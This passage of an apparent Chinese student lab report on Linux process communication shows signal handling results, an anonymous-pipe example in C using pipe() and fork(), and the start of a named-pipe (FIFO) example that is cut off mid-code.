title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164421.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功接收到了子进程发送的信号,并执行了相应的处理函数。\u003c/p\u003e\u003ch3 id=\"五、实验心得-2\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-2\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号通信的原理和用法,知道了如何使用系统调用来发送和接收信号,在父子进程之间进行简单交互。同时,我也了解了信号处理函数的编写方法和注意事项。\u003c/p\u003e\u003ch2 id=\"实验4:匿名管道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C4%EF%BC%9A%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93\" class=\"headerlink\" title=\"实验4:匿名管道\"\u003e\u003c/a\u003e实验4:匿名管道\u003c/h2\u003e\u003ch3 id=\"一、实验目标-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-3\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用匿名管道实现父子进程之间的双向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-3\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建两个单文档应用程序Parent和Child作为父子进程。在Parent中引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003epipe()\u003c/code\u003e函数创建一个匿名管道,并使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程关闭管道的写端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的读端重定向到标准输入。然后使用\u003ccode\u003eexeclp()\u003c/code\u003e函数执行Child程序。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程关闭管道的读端,并使用\u003ccode\u003edup2()\u003c/code\u003e函数将管道的写端重定向到标准输出。然后使用\u003ccode\u003eprintf()\u003c/code\u003e函数向管道写入数据,并使用\u003ccode\u003ewait()\u003c/code\u003e函数等待子进程结束。\u003c/p\u003e\u003cp\u003e在Child程序中,引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdio.h\u003c/code\u003e。在主程序中使用\u003ccode\u003escanf()\u003c/code\u003e函数从标准输入读取数据,并打印出来。\u003c/p\u003e\u003cp\u003e此处我使用\u003ccode\u003efork()\u003c/code\u003e创建了两个进程来模拟父子进程通信,从原理上和两个单独进程的效果一样。\u003c/p\u003e\u003ch3 id=\"三、实验代码-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-3\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e fd[\u003cspan class=\"number\"\u003e2\u003c/span\u003e], pid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pipe(fd)==\u003cspan class=\"number\"\u003e-1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;pipe\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;fork\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child: Writing to pipe\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e ,\u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], buffer, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(buffer));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent: %s\\n\u0026#34;\u003c/span\u003e, buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-3\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164828.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功向匿名管道写入数据,并被子进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-3\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下匿名管道的原理和用法,知道了如何使用系统调用来创建和操作匿名管道,在父子进程之间进行双向通信。同时,我也了解了如何使用重定向技术来改变标准输入输出的来源和目的地。\u003c/p\u003e\u003ch2 id=\"实验5:命名匿名管道通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C5%EF%BC%9A%E5%91%BD%E5%90%8D%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验5:命名匿名管道通信\"\u003e\u003c/a\u003e实验5:命名匿名管道通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-4\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解命名匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用命名匿名管道实现父子进程之间的单向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-4\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个main.c,并引入头文件unistd.h和stdio.h。在主程序中使用mkfifo()函数创建一个命名匿名管道,并使用fork()函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用open()函数打开命名匿名管道,并使用write()函数向管道写入数据。然后使用close()函数关闭管道,并使用exit()函数退出子进程。\u003c/p\u003e\u003cp\u003e如果rc\u0026gt;0,则当前进程是父进程。父进程使用open()函数打开命名匿名管道,并使用read()函数从管道读取数据。然后使用close()函数关闭管道,并使用wait()函数等待子进程结束。\u003c/p\u003e\u003ch3 id=\"三、实验代码-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-4\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;fcntl.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FIFO_NAME \u003cspan class=\"string\"\u003e\u0026#34;/tmp/my_fifo\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Fork failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_WRONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child process %d opening FIFO O_WRONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan 